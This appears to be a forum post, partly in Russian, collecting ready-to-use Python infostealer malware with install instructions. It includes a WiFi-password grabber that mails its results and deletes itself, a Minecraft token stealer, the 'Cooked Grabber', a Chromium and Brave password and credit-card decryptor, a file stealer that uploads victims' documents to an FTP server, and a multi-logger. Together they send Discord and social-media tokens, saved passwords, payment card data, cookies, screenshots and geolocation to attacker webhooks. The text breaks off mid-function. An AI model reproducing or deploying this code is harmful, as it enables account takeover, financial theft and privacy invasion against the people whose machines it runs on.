substring = wifi[start:end]
list_of_words = wifi.split()
with open(file_path + "\\" + system_information, "a") as f:
f.write(next_word + "\n")
f.close()
j = j + 5
try:
next_word = list_of_words[list_of_words.index(key_content) + 2]
i = 2
for words in wifi.split():
if words == "Content":
next_word = list_of_words[list_of_words.index(key_content) + i]
next_word = next_word.split('\\r\\n\\r\\nCost')[0]
next_word = next_word.replace(' ', "\\ ")
i = i + 5
with open(file_path + "\\" + system_information, "a") as f:
f.write(" : " + next_word + "\n")
f.close()
except:
pass
try:
pwd = os.path.abspath(os.getcwd())
os.system("cd " + pwd)
os.system("TASKKILL /F /IM " + os.path.basename(__file__))
print('File was closed.')
os.system("DEL " + os.path.basename(__file__))
except OSError:
print('File is close.')
with open(system_information) as f:
lines = f.read()
print(str(lines))
message += str(lines)
with smtplib.SMTP("smtp.mailtrap.io", 2525) as server:
server.login(YOUR_USERNAME, YOUR_PASSWORD)
server.sendmail(sender, receiver, message)
else:
#os.system("chmod +x " + os.path.basename(__file__))
with open(file_path + "/" + system_information, "w") as f:
f.write("All of Registered Connections\n")
f.write("==================================\n")
try:
output = glob.glob("/etc/NetworkManager/system-connections/*")
res = [sub.replace(' ', "\ ") for sub in output]
for i in res:
output = subprocess.check_output("cat " + i, shell=True)
output = str(output)
with open(file_path + "/" + system_information, "a") as f:
f.write(output + "\n===========================\n")
except:
pass
try:
pwd = os.path.abspath(os.getcwd())
os.system("cd " + pwd)
os.system('pkill leafpad')
os.system("chattr -i " + os.path.basename(__file__))
print('File was closed.')
# os.system("rm -rf " + os.path.basename(__file__))
except OSError:
print('File is close.')
f.close()
with open(system_information) as f:
lines = f.read()
print(str(lines))
message += str(lines)
with smtplib.SMTP("smtp.mailtrap.io", 2525) as server:
server.login(YOUR_USERNAME, YOUR_PASSWORD)
server.sendmail(sender, receiver, message)
#os.system("./" + os.path.basename(_file_))
os.remove("Informations.txt")minecraft-token-stealer.py
Python:
import json
import os
from urllib.request import Request, urlopen
# your webhook URL
WEBHOOK_URL = "WEBHOOK HERE"
# mentions you when you get a hit
PING_ME = False
def uuid_dashed(uuid):
return f"{uuid[0:8]}-{uuid[8:12]}-{uuid[12:16]}-{uuid[16:21]}-{uuid[21:32]}"
def main():
auth_db = json.loads(open(os.getenv("APPDATA") + "\\.minecraft\\launcher_profiles.json").read())["authenticationDatabase"]sudo apt install python3 && python3-pip
pip3 install browser_cookie3 browser_history discord_webhook getmac prettytable psutil py_cpuinfo pycountry pycryptodome pywin32 requests pyautogui Pillow
CookedGrabber.py
Python:
lit(' ')[1].split("=")[1]
if len(data) > 80:
n_lst.append([])
for y in c:
n_lst[-1].append({'domain': f"{website[3]}", "name": f"{y.split(' ')[1].split('=')[0]}",
"value": f"{y.split(' ')[1].split('=')[1]}"})
all_data_p = []
for x in tokens:
lst_b = has_payment_methods(x)
try:
for n in range(len(lst_b)):
if lst_b[n]['type'] == 1:
writable = [lst_b[n]['brand'], lst_b[n]['type'], lst_b[n]['last_4'], lst_b[n]
['expires_month'], lst_b[n]['expires_year'], lst_b[n]['billing_address']]
if writable not in all_data_p:
all_data_p.append(writable)
elif lst_b[n]['type'] == 2:
writable_2 = [lst_b[n]['email'], lst_b[n]
['type'], lst_b[n]['billing_address']]
if writable_2 not in all_data_p:
all_data_p.append(writable_2)
except BaseException:
pass
return [tokens, list(set(t_lst)), list(set(tuple(element)
for element in insta_lst)), all_data_p, chrome_psw_list, n_lst]
def send_webhook(DISCORD_WEBHOOK_URLs):
p_lst = get_Personal_data()
cpuinfo = get_cpu_info()
with TemporaryDirectory(dir='.') as td:
SetFileAttributes(td, win32con.FILE_ATTRIBUTE_HIDDEN)
get_screenshot(path=td)
main_info = main(td)
discord_T, twitter_T, insta_T, chrome_Psw_t = (
PrettyTable(padding_width=1) for _ in range(4))
discord_T.field_names, twitter_T.field_names, insta_T.field_names, chrome_Psw_t.field_names, verified_tokens = [
"Discord Tokens", "Username", "Email", "Phone"], ["Twitter Tokens [auth_token]"], ["ds_user_id", "sessionid"], ['Username / Email', 'password', 'website'], []
for __t in main_info[4]:
chrome_Psw_t.add_row(__t)
for t_ in main_info[0]:
try:
lst = get_user_data(t_)
username, email, phone = f"{lst[0]}#{lst[1]}", lst[2], lst[3]
discord_T.add_row([t_, username, email, phone])
verified_tokens.append(t_)
except BaseException:
pass
for _t in main_info[1]:
twitter_T.add_row([_t])
for _t_ in main_info[2]:
insta_T.add_row(_t_)
pay_l = []
for _p in main_info[3]:
if _p[1] == 1:
payment_card = PrettyTable(padding_width=1)
payment_card.field_names = [
"Brand", "Last 4", "Type", "Expiration", "Billing Adress"]
payment_card.add_row(
[_p[0], _p[2], "Debit or Credit Card", f"{_p[3]}/{_p[4]}", _p[5]])
pay_l.append(payment_card.get_string())
elif _p[1] == 2:
payment_p = PrettyTable(padding_width=1)
payment_p.field_names = ["Email", "Type", "Billing Adress"]
payment_p.add_row([_p[0], "Paypal", _p[2]])
pay_l.append(payment_p.get_string())
files_names = [[os.path.join(td, "Discord Tokens.txt"), discord_T], [os.path.join(td, "Twitter Tokens.txt"), twitter_T], [
os.path.join(td, "Instagram Tokens.txt"), insta_T], [os.path.join(td, "Chrome Pass.txt"), chrome_Psw_t]]
for x_, y_ in files_names:
if (y_ == files_names[0][1] and len(main_info[0]) != 0) or (y_ == files_names[1][1] and len(main_info[1]) != 0) or (
y_ == files_names[2][1] and len(main_info[2]) != 0) or (y_ == files_names[3][1] and len(main_info[4]) != 0):
with open(x_, 'w') as wr:
wr.write(y_.get_string())
all_files = [os.path.join(
td, 'History.txt'), get_screenshot.scrn_path, os.path.join(td, "Payment Info.txt")]
for n in main_info[5]:
p = os.path.join(td, f'netflix_{main_info[5].index(n)}.json')
with open(p, 'w') as f:
f.write(dumps(n, indent=4))
all_files.append(p)
with open(all_files[0], 'w') as f:
f.write(find_His())
with ZipFile(os.path.join(td, 'data.zip'), mode='w', compression=ZIP_DEFLATED) as zip:
if ('payment_card' or 'payment_p') in locals():
with open(all_files[2], 'w') as f:
for i in pay_l:
f.write(f"{i}\n")
for files_path in all_files:
try:
zip.write(files_path)
except FileNotFoundError:
pass
for name_f, _ in files_names:
if os.path.exists(name_f):
zip.write(name_f)
for URL in DISCORD_WEBHOOK_URLs:
webhook = DiscordWebhook(url=URL, username='Cooked Grabber',
avatar_url="https://i.postimg.cc/FRdZ5DJV/discord-avatar-128-ABF2-E.png")
embed = DiscordEmbed(title='New victim !', color='FFA500')
embed.add_embed_field(
name='SYSTEM USER INFO', value=f":pushpin:`PC Username:` **{os.getenv('UserName')}**\n:computer:`PC Name:` **{os.getenv('COMPUTERNAME')}**\n:globe_with_meridians:`OS:` **{platform()}**\n", inline=False)
embed.add_embed_field(
name='IP USER INFO', value=f":eyes:`IP:` **{p_lst[0]}**\n:golf:`Country:` **{p_lst[1]}** :flag_{get(f'https://restcountries.com/v3/name/{p_lst[1]}').json()[0]['cca2'].lower()}:\n:cityscape:`City:` **{p_lst[2]}**\n:shield:`MAC:` **{gma()}**\n:wrench:`HWID:` **{get_hwid()}**\n", inline=False)
embed.add_embed_field(
name='PC USER COMPONENT', value=f":satellite_orbital:`CPU:` **{cpuinfo['brand_raw']} - {round(float(cpuinfo['hz_advertised_friendly'].split(' ')[0]), 2)} GHz**\n:nut_and_bolt:`RAM:` **{round(virtual_memory().total / (1024.0 ** 3), 2)} GB**\n:desktop:`Resolution:` **{GetSystemMetrics(0)}x{GetSystemMetrics(1)}**\n", inline=False)
embed.add_embed_field(
name='ACCOUNT GRABBED', value=f":red_circle:`Discord:` **{len(verified_tokens)}**\n:purple_circle:`Twitter:` **{len(main_info[1])}**\n:blue_circle:`Instagram:` **{len(main_info[2])}**\n:green_circle:`Netflix:` **{len(main_info[5])}**\n:brown_circle:`Account Password Grabbed:` **{len(main_info[4])}**\n", inline=False)
card_e, paypal_e = ":white_check_mark:" if 'payment_card' in locals(
) else ":x:", ":white_check_mark:" if 'payment_p' in locals() else ":x:"
embed.add_embed_field(
name='PAYMENT INFO FOUNDED', value=f":credit_card:`Debit or Credit Card:` {card_e}\n:money_with_wings:`Paypal:` {paypal_e}", inline=False)
embed.set_footer(text='By Lemon.-_-.#3714 & cr4sh3d.py#2160')
embed.set_timestamp()
with open(os.path.join(td, "data.zip"), 'rb') as f:
webhook.add_file(
file=f.read(), filename=f"Cooked-Grabber-{os.getenv('UserName')}.zip")
webhook.add_embed(embed)
webhook.execute()
if __name__ == "__main__":
freeze_support()
if len(sys.argv) == 1:
send_webhook(['YOUR DISCORD WEBHOOK URL'])
else:
del sys.argv[0]
send_webhook(sys.argv)sudo apt install python3 && python3-pip
pip3 install pypiwin32 pycryptodome
chromium_based_browsers.py
Python:
import os
import json
import base64
import sqlite3
from win32crypt import CryptUnprotectData
from Crypto.Cipher import AES
import shutil
from datetime import datetime
appdata = os.getenv('LOCALAPPDATA')
browsers = {
'amigo': appdata + '\\Amigo\\User Data',
'torch': appdata + '\\Torch\\User Data',
'kometa': appdata + '\\Kometa\\User Data',
'orbitum': appdata + '\\Orbitum\\User Data',
'cent-browser': appdata + '\\CentBrowser\\User Data',
'7star': appdata + '\\7Star\\7Star\\User Data',
'sputnik': appdata + '\\Sputnik\\Sputnik\\User Data',
'vivaldi': appdata + '\\Vivaldi\\User Data',
'google-chrome-sxs': appdata + '\\Google\\Chrome SxS\\User Data',
'google-chrome': appdata + '\\Google\\Chrome\\User Data',
'epic-privacy-browser': appdata + '\\Epic Privacy Browser\\User Data',
'microsoft-edge': appdata + '\\Microsoft\\Edge\\User Data',
'uran': appdata + '\\uCozMedia\\Uran\\User Data',
'yandex': appdata + '\\Yandex\\YandexBrowser\\User Data',
'brave': appdata + '\\BraveSoftware\\Brave-Browser\\User Data',
'iridium': appdata + '\\Iridium\\User Data',
}
def get_master_key(path: str):
if not os.path.exists(path):
return
if 'os_crypt' not in open(path + "\\Local State", 'r', encoding='utf-8').read():
return
with open(path + "\\Local State", "r", encoding="utf-8") as f:
c = f.read()
local_state = json.loads(c)
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
master_key = master_key[5:]
master_key = CryptUnprotectData(master_key, None, None, None, 0)[1]
return master_key
def decrypt_password(buff: bytes, master_key: bytes) -> str:
iv = buff[3:15]
payload = buff[15:]
cipher = AES.new(master_key, AES.MODE_GCM, iv)
decrypted_pass = cipher.decrypt(payload)
decrypted_pass = decrypted_pass[:-16].decode()
return decrypted_pass
def save_results(browser_name, data_type, content):
if not os.path.exists(browser_name):
os.mkdir(browser_name)
if content is not None:
open(f'{browser_name}/{data_type}.txt', 'w').write(content)
print(f"\t [*] Saved in {browser}/{data_type}.txt")
else:
print(f"\t [-] No Data Found!")
def get_login_data(path: str, profile: str, master_key):
login_db = f'{path}\\{profile}\\Login Data'
if not os.path.exists(login_db):
return
result = ""
shutil.copy(login_db, 'login_db')
conn = sqlite3.connect('login_db')
cursor = conn.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for row in cursor.fetchall():
password = decrypt_password(row[2], master_key)
result += f"""
URL: {row[0]}
Email: {row[1]}
Password: {password}
"""
conn.close()
os.remove('login_db')
return result
def get_credit_cards(path: str, profile: str, master_key):
cards_db = f'{path}\\{profile}\\Web Data'
if not os.path.exists(cards_db):
return
result = ""
shutil.copy(cards_db, 'cards_db')
conn = sqlite3.connect('cards_db')
cursor = conn.cursor()
cursor.execute(
'SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, date_modified FROM credit_cards')
for row in cursor.fetchall():
if not row[0] or not row[1] or not row[2] or not row[3]:
continue
card_number = decrypt_password(row[3], master_key)
result += f"""
Name On Card: {row[0]}
Card Number: {card_number}
Expires On: {row[1]} / {row[2]}
Added On: {datetime.fromtimestamp(row[4])}
"""
conn.close()
os.remove('cards_db')
return result
def get_cookies(path: str, profile: str, master_key):
cookie_db = f'{path}\\{profile}\\Network\\Cookies'
if not os.path.exists(cookie_db):
return
result = ""
shutil.copy(cookie_db, 'cookie_db')
conn = sqlite3.connect('cookie_db')
cursor = conn.cursor()
cursor.execute('SELECT host_key, name, path, encrypted_value,expires_utc FROM cookies')
for row in cursor.fetchall():
if not row[0] or not row[1] or not row[2] or not row[3]:
continue
cookie = decrypt_password(row[3], master_key)
result += f"""
Host Key : {row[0]}
Cookie Name : {row[1]}
Path: {row[2]}
Cookie: {cookie}
Expires On: {row[4]}
"""
conn.close()
os.remove('cookie_db')
return result
def get_web_history(path: str, profile: str):
web_history_db = f'{path}\\{profile}\\History'
result = ""
if not os.path.exists(web_history_db):
return
shutil.copy(web_history_db, 'web_history_db')
conn = sqlite3.connect('web_history_db')
cursor = conn.cursor()
cursor.execute('SELECT url, title, last_visit_time FROM urls')
for row in cursor.fetchall():
if not row[0] or not row[1] or not row[2]:
continue
result += f"""
URL: {row[0]}
Title: {row[1]}
Visited Time: {row[2]}
"""
conn.close()
os.remove('web_history_db')
return result
def get_downloads(path: str, profile: str):
downloads_db = f'{path}\\{profile}\\History'
if not os.path.exists(downloads_db):
return
result = ""
shutil.copy(downloads_db, 'downloads_db')
conn = sqlite3.connect('downloads_db')
cursor = conn.cursor()
cursor.execute('SELECT tab_url, target_path FROM downloads')
for row in cursor.fetchall():
if not row[0] or not row[1]:
continue
result += f"""
Download URL: {row[0]}
Local Path: {row[1]}
"""
conn.close()
os.remove('downloads_db')
def installed_browsers():
results = []
for browser, path in browsers.items():
if os.path.exists(path):
results.append(browser)
return results
if __name__ == '__main__':
available_browsers = installed_browsers()
for browser in available_browsers:
browser_path = browsers[browser]
master_key = get_master_key(browser_path)
print(f"Getting Stored Details from {browser}")
print("\t [!] Getting Saved Passwords")
save_results(browser, 'Saved_Passwords', get_login_data(browser_path, "Default", master_key))
print("\t------\n")
print("\t [!] Getting Browser History")
save_results(browser, 'Browser_History', get_web_history(browser_path, "Default"))
print("\t------\n")
print("\t [!] Getting Download History")
save_results(browser, 'Download_History', get_downloads(browser_path, "Default"))
print("\t------\n")
print("\t [!] Getting Cookies")
save_results(browser, 'Browser_Cookies', get_cookies(browser_path, "Default", master_key))
print("\t------\n")
print("\t [!] Getting Saved Credit Cards")
save_results(browser, 'Saved_Credit_Cards', get_credit_cards(browser_path, "Default", master_key))file_stealer.py
Python:
"""
Steal Files on Victims Machine and send to FTP Server
pip install pywin32
Замените на свой FTP сервер -> with ftplib.FTP("FTPSERVER", "USERNAME", "PASSWORD") as ftp_connection:
"""
import sys
import os
import ftplib
from threading import Thread
from time import sleep
import string
import random
import win32api
def get_all_drivers():
try:
if sys.platform in ("win32", "cygwin"):
drives = win32api.GetLogicalDriveStrings()
drives = drives.split("\000")[:-1]
win_drive = os.environ["SYSTEMDRIVE"]
# Remove SystemDrive
for key, value in enumerate(drives):
if win_drive in value:
del drives[key]
return drives
except Exception:
sys.exit()
def discover_files(startpath):
extensions = [
"jpg",
"jpeg",
"bmp",
"gif",
"png",
"svg",
"psd",
"raw",
"avi",
"flv",
"m4v",
"mkv",
"mov",
"mpg",
"mpeg",
"wmv",
"swf",
"3gp",
"doc",
"docx",
"xls",
"xlsx",
"ppt",
"pptx",
"odt",
"odp",
"ods",
"txt",
"rtf",
"tex",
"pdf",
"epub",
"md",
"csv",
"db",
"sql",
"dbf",
"mdb",
"go",
"py",
"pyc",
"zip",
"tar",
"tgz",
"bz2",
"7z",
"rar",
"bak",
]
for dirpath, dirs, files in os.walk(startpath):
for i in files:
absolute_path = os.path.abspath(os.path.join(dirpath, i))
ext = absolute_path.split(".")[-1]
if ext in extensions:
# Only get Files that are not bigger than 10MB
if os.stat(absolute_path).st_size <= 10485760:
yield absolute_path
def upload_file(file):
sleep(1)
output_string = "".join(
random.SystemRandom().choice(string.ascii_letters + string.digits)
for _ in range(3))
try:
with open(file, "rb") as filedata:
with ftplib.FTP("FTPSERVER", "USERNAME", "PASSWORD") as ftp_connection:
# Change Directory in FTP Server
#ftp_connection.cwd("files")
if file.split("\\")[-1] not in ftp_connection.nlst():
ftp_connection.storbinary("STOR " + file.split("\\")[-1], filedata)
else:
ftp_connection.storbinary(
"STOR " + output_string + file.split("\\")[-1], filedata)
except Exception:
pass
def get_desktop_path():
try:
if sys.platform in ("win32", "cygwin"):
desktop = os.path.join(os.path.expanduser("~"), "Desktop")
return desktop
except Exception:
sys.exit()
def main():
# Specify custom Path => Desktop
for file in discover_files(get_desktop_path()):
desktop_thread = Thread(target=upload_file(file), args=(file,))
desktop_thread.start()
# Get all Drivers except SystemDrive
for drive in get_all_drivers():
for file in discover_files(drive):
driver_thread = Thread(target=upload_file(file), args=(file,))
driver_thread.start()
if __name__ == "__main__":
main()pywin32 работает только на винде.
Browser Password Stealer
sudo apt install python3 && python3-pippip3 install pypiwin32 pycryptodome win32crypt Crypto shutil
python Brave.py
Brave.py
Python:
import os
import json
import base64
import sqlite3
import win32crypt
from Crypto.Cipher import AES
import shutil
from datetime import datetime
FileName = 116444736000000000
NanoSeconds = 10000000
def ConvertDate(ft):
utc = datetime.utcfromtimestamp(((10 * int(ft)) - FileName) / NanoSeconds)
return utc.strftime('%Y-%m-%d %H:%M:%S')
def get_master_key():
'''
This Function is used to get the Master Key, for Decrypting the Encrypted Passwords
'''
try:
with open(os.environ['USERPROFILE'] + os.sep + r'AppData\Local\BraveSoftware\Brave-Browser\User Data\Local State',
"r", encoding='utf-8') as f:
local_state = f.read()
local_state = json.loads(local_state)
except:
exit()
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
master_key = master_key[5:]
master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
return master_key
def decrypt_payload(cipher, payload):
return cipher.decrypt(payload)
def generate_cipher(aes_key, iv):
return AES.new(aes_key, AES.MODE_GCM, iv)
def decrypt_password(buff, master_key):
'''
Here we are passing the buffer and Master Key to Decrypt the Password
'''
try:
iv = buff[3:15]
payload = buff[15:]
cipher = generate_cipher(master_key, iv)
decrypted_pass = decrypt_payload(cipher, payload)
decrypted_pass = decrypted_pass[:-16].decode()
return decrypted_pass
except Exception as e:
return "Chrome < 80"
def get_password():
master_key = get_master_key()
login_db = os.environ[
'USERPROFILE'] + os.sep + r'AppData\Local\BraveSoftware\Brave-Browser\User Data\default\Login Data'
try:
shutil.copy2(login_db,
"Loginvault.db")
except:
print("[*] Brave Browser Not Installed !!")
conn = sqlite3.connect("Loginvault.db")
cursor = conn.cursor()
try:
cursor.execute("SELECT action_url, username_value, password_value FROM logins")
for r in cursor.fetchall():
url = r[0]
username = r[1]
encrypted_password = r[2]
decrypted_password = decrypt_password(encrypted_password, master_key)
if username != "" or decrypted_password != "":
print(
"URL: " + url + "\nUser Name: " + username + "\nPassword: " + decrypted_password + "\n" + "*" * 10 + "\n")
except Exception as e:
pass
cursor.close()
conn.close()
try:
os.remove("Loginvault.db")
except Exception as e:
pass
def get_credit_cards():
master_key = get_master_key()
login_db = os.environ[
'USERPROFILE'] + os.sep + r'AppData\Local\BraveSoftware\Brave-Browser\User Data\default\Web Data'
try:
shutil.copy2(login_db,
"CCvault.db")
except:
print("[*] Brave Browser Not Installed !!")
conn = sqlite3.connect("CCvault.db")
cursor = conn.cursor()
try:
cursor.execute("SELECT * FROM credit_cards")
for r in cursor.fetchall():
username = r[1]
encrypted_password = r[4]
decrypted_password = decrypt_password(encrypted_password, master_key)
expire_mon = r[2]
expire_year = r[3]
print(
"Name in Card: " + username + "\nNumber: " + decrypted_password + "\nExpire Month: " + str(
expire_mon) + "\nExpire Year: " + str(expire_year) + "\n" + "*" * 10 + "\n")
except Exception as e:
pass
cursor.close()
conn.close()
try:
os.remove("CCvault.db")
except Exception as e:
pass
def get_bookmarks():
bookmarks_location = os.environ[
'USERPROFILE'] + os.sep + r'AppData\Local\BraveSoftware\Brave-Browser\User Data\default\Bookmarks'
with open(bookmarks_location) as f:
data = json.load(f)
bookmarks_list = data["roots"]["bookmark_bar"]["children"]
for i in range(len(bookmarks_list)):
print(f"Name: {bookmarks_list[i]['name']}\n"
f"Added on: {ConvertDate(bookmarks_list[i]['date_added'])}\n")
while True:
get_password()
get_credit_cards()
get_bookmarks()Multi-logger
sudo apt install python3 && python3-pip
pip3 install dhooks pycryptodome requests psutil browser_cookie3 cryptography
multi-logger.py
Python:
import psutil
import platform
import json
from datetime import datetime
from time import sleep
import requests
import socket
from requests import get
import os
import re
import requests
import subprocess
from uuid import getnode as get_mac
import browser_cookie3 as steal, requests, base64, random, string, zipfile, shutil, dhooks, os, re, sys, sqlite3
from cryptography.hazmat.primitives.ciphers import (Cipher, algorithms, modes)
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
from cryptography.hazmat.backends import default_backend
from Crypto.Cipher import AES
from base64 import b64decode, b64encode
from dhooks import Webhook, Embed, File
from subprocess import Popen, PIPE
from json import loads, dumps
from shutil import copyfile
from sys import argv
# CONFIG -> Setup before compiling
url= "" #Paste Discord Webhook url
# Scaling from bytes to KB,MB,GB, etc
def scale(bytes, suffix="B"):
defined = 1024
for unit in ["", "K", "M", "G", "T", "P"]:
if bytes < defined:
return f"{bytes:.2f}{unit}{suffix}"
bytes /= defined
uname = platform.uname()
bt = datetime.fromtimestamp(psutil.boot_time()) # Boot time
host = socket.gethostname()
localip = socket.gethostbyname(host)
publicip = get('https://api.ipify.org').text # Get public API
city = get(f'https://ipapi.co/{publicip}/city').text
region = get(f'https://ipapi.co/{publicip}/region').text
postal = get(f'https://ipapi.co/{publicip}/postal').text
timezone = get(f'https://ipapi.co/{publicip}/timezone').text
currency = get(f'https://ipapi.co/{publicip}/currency').text
country = get(f'https://ipapi.co/{publicip}/country_name').text
callcode = get(f"https://ipapi.co/{publicip}/country_calling_code").text
vpn = requests.get('http://ip-api.com/json?fields=proxy')
proxy = vpn.json()['proxy']
mac = get_mac()
roaming = os.getenv('AppData')
## Output for txt file location
output = open(roaming + "temp.txt", "a")
## Discord Locations
Directories = {
'Discord': roaming + '\\Discord',
'Discord Two': roaming + '\\discord',
'Discord Canary': roaming + '\\Discordcanary',
'Discord Canary Two': roaming + '\\discordcanary',
'Discord PTB': roaming + '\\discordptb',
'Google Chrome': roaming + '\\Google\\Chrome\\User Data\\Default',
'Opera': roaming + '\\Opera Software\\Opera Stable',
'Brave': roaming + '\\BraveSoftware\\Brave-Browser\\User Data\\Default',
'Yandex': roaming + '\\Yandex\\YandexBrowser\\User Data\\Default',
}
## Scan for the regex [\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}
def Yoink(Directory):
Directory += '\\Local Storage\\leveldb'
Tokens = []
for FileName in os.listdir(Directory):
if not FileName.endswith('.log') and not FileName.endswith('.ldb'):
continue
for line in [x.strip() for x in open(f'{Directory}\\{FileName}', errors='ignore').readlines() if x.strip()]:
for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}'):
for Token in re.findall(regex, line):
Tokens.append(Token)
return Tokens
## Wipe the temp file
def Wipe():
if os.path.exists(roaming + "temp.txt"):
output2 = open(roaming + "temp.txt", "w")
output2.write("")
output2.close()
else:
pass
## Search Directorys for Token regex if exists
for Discord, Directory in Directories.items():
if os.path.exists(Directory):
Tokens = Yoink(Directory)
if len(Tokens) > 0:
for Token in Tokens:
realshit = f"{Token}\n"
cpufreq = psutil.cpu_freq()
svmem = psutil.virtual_memory()
partitions = psutil.disk_partitions()
disk_io = psutil.disk_io_counters()
net_io = psutil.net_io_counters()
partitions = psutil.disk_partitions()
for partition in partitions:
try:
partition_usage = psutil.disk_usage(partition.mountpoint)
except PermissionError:
continue
requests.post(url, data=json.dumps({ "embeds": [ { "title": f"Someone Runs Program! - {host}", "color": 8781568 }, { "color": 7506394, "fields": [ { "name": "GeoLocation", "value": f"Using VPN?: {proxy}\nLocal IP: {localip}\nPublic IP: {publicip}\nMAC Adress: {mac}\n\nCountry: {country} | {callcode} | {timezone}\nregion: {region}\nCity: {city} | {postal}\nCurrency: {currency}\n\n\n\n" } ] }, { "fields": [ { "name": "System Information", "value": f"System: {uname.system}\nNode: {uname.node}\nMachine: {uname.machine}\nProcessor: {uname.processor}\n\nBoot Time: {bt.year}/{bt.month}/{bt.day} {bt.hour}:{bt.minute}:{bt.second}" } ] }, { "color": 15109662, "fields": [ { "name": "CPU Information", "value": f"Psychical cores: {psutil.cpu_count(logical=False)}\nTotal Cores: {psutil.cpu_count(logical=True)}\n\nMax Frequency: {cpufreq.max:.2f}Mhz\nMin Frequency: {cpufreq.min:.2f}Mhz\n\nTotal CPU usage: {psutil.cpu_percent()}\n" }, { "name": "Nemory Information", "value": f"Total: {scale(svmem.total)}\nAvailable: {scale(svmem.available)}\nUsed: {scale(svmem.used)}\nPercentage: {svmem.percent}%" }, { "name": "Disk Information", "value": f"Total Size: {scale(partition_usage.total)}\nUsed: {scale(partition_usage.used)}\nFree: {scale(partition_usage.free)}\nPercentage: {partition_usage.percent}%\n\nTotal read: {scale(disk_io.read_bytes)}\nTotal write: {scale(disk_io.write_bytes)}" }, { "name": "Network Information", "value": f"Total Sent: {scale(net_io.bytes_sent)}\")\nTotal Received: {scale(net_io.bytes_recv)}" } ] }, { "color": 7440378, "fields": [ { "name": "Discord information", "value": f"Token: {realshit}" } ] } ] }), headers={"Content-Type": "application/json"})
DBP = r'Google\Chrome\User Data\Default\Login Data'
ADP = os.environ['LOCALAPPDATA']
def sniff(path):
path += '\\Local Storage\\leveldb'
tokens = []
try:
for file_name in os.listdir(path):
if not file_name.endswith('.log') and not file_name.endswith('.ldb'):
continue
for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]:
for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}'):
for token in re.findall(regex, line):
tokens.append(token)
return tokens
except:
pass
def encrypt(cipher, plaintext, nonce):
cipher.mode = modes.GCM(nonce)
encryptor = cipher.encryptor()
ciphertext = encryptor.update(plaintext)
return (cipher, ciphertext, nonce)
def decrypt(cipher, ciphertext, nonce):
cipher.mode = modes.GCM(nonce)
decryptor = cipher.decryptor()
return decryptor.update(ciphertext)
def rcipher(key):
cipher = Cipher(algorithms.AES(key), None, backend=default_backend())
return cipher
def dpapi(encrypted):
import ctypes
import ctypes.wintypes
class DATA_BLOB(ctypes.Structure):
_fields_ = [('cbData', ctypes.wintypes.DWORD),
('pbData', ctypes.POINTER(ctypes.c_char))]
p = ctypes.create_string_buffer(encrypted, len(encrypted))
blobin = DATA_BLOB(ctypes.sizeof(p), p)
blobout = DATA_BLOB()
retval = ctypes.windll.crypt32.CryptUnprotectData(
ctypes.byref(blobin), None, None, None, None, 0, ctypes.byref(blobout))
if not retval:
raise ctypes.WinError()
result = ctypes.string_at(blobout.pbData, blobout.cbData)
ctypes.windll.kernel32.LocalFree(blobout.pbData)
return result
def localdata():
jsn = None
with open(os.path.join(os.environ['LOCALAPPDATA'], r"Google\Chrome\User Data\Local State"), encoding='utf-8', mode="r") as f:
jsn = json.loads(str(f.readline()))
return jsn["os_crypt"]["encrypted_key"]
def decryptions(encrypted_txt):
encoded_key = localdata()
encrypted_key = base64.b64decode(encoded_key.encode())
encrypted_key = encrypted_key[5:]
key = dpapi(encrypted_key)
nonce = encrypted_txt[3:15]
cipher = rcipher(key)
return decrypt(cipher, encrypted_txt[15:], nonce)
class chrome:
def __init__(self):
self.passwordList = []
def chromedb(self):
_full_path = os.path.join(ADP, DBP)
_temp_path = os.path.join(ADP, 'sqlite_file')
if os.path.exists(_temp_path):
os.remove(_temp_path)
shutil.copyfile(_full_path, _temp_path)
self.pwsd(_temp_path)
def pwsd(self, db_file):
conn = sqlite3.connect(db_file)
_sql = 'select signon_realm,username_value,password_value from logins'
for row in conn.execute(_sql):
host = row[0]
if host.startswith('android'):
continue
name = row[1]
value = self.cdecrypt(row[2])
_info = '[==================]\nhostname => : %s\nlogin => : %s\nvalue => : %s\n[==================]\n\n' % (host, name, value)
self.passwordList.append(_info)
conn.close()
os.remove(db_file)
def cdecrypt(self, encrypted_txt):
if sys.platform == 'win32':
try:
if encrypted_txt[:4] == b'\x01\x00\x00\x00':
decrypted_txt = dpapi(encrypted_txt)
return decrypted_txt.decode()
elif encrypted_txt[:3] == b'v10':
decrypted_txt = decryptions(encrypted_txt)
return decrypted_txt[:-16].decode()
except WindowsError:
return None
else:
pass
def saved(self):
try:
with open(r'C:\ProgramData\passwords.txt', 'w', encoding='utf-8') as f:
f.writelines(self.passwordList)
except WindowsError:
return None
if __name__ == "__main__":
main = chrome()
try:
main.chromedb()
except:
pass
main.saved()
# webhook functionality => collect rest of specified data, send it to our webhook
def beamed():
hook = Webhook(url)
try:
hostname = requests.get("https://api.ipify.org").text
except:
pass
local = os.getenv('LOCALAPPDATA')
roaming = os.getenv('APPDATA')
paths = {
'Discord': roaming + '\\Discord',
'Discord Canary': roaming + '\\discordcanary',
'Discord PTB': roaming + '\\discordptb',
'Google Chrome': local + '\\Google\\Chrome\\User Data\\Default',
'Opera': roaming + '\\Opera Software\\Opera Stable',
'Brave': local + '\\BraveSoftware\\Brave-Browser\\User Data\\Default',
'Yandex': local + '\\Yandex\\YandexBrowser\\User Data\\Default'
}
message = '\n'
for platform, path in paths.items():
if not os.path.exists(path):
continue
message += '```'
tokens = sniff(path)
if len(tokens) > 0:
for token in tokens:
message += f'{token}\n'
else:
pass
message += '```'
"""screenshot victim's desktop"""
try:
screenshot = image.grab()
screenshot.save(os.getenv('ProgramData') +r'\screenshot.jpg')
screenshot = open(r'C:\ProgramData\screenshot.jpg', 'rb')
screenshot.close()
except:
pass
"""gather our .zip variables"""
try:
zname = r'C:\ProgramData\passwords.zip'
newzip = zipfile.ZipFile(zname, 'w')
newzip.write(r'C:\ProgramData\passwords.txt')
newzip.close()
passwords = File(r'C:\ProgramData\passwords.zip')
except:
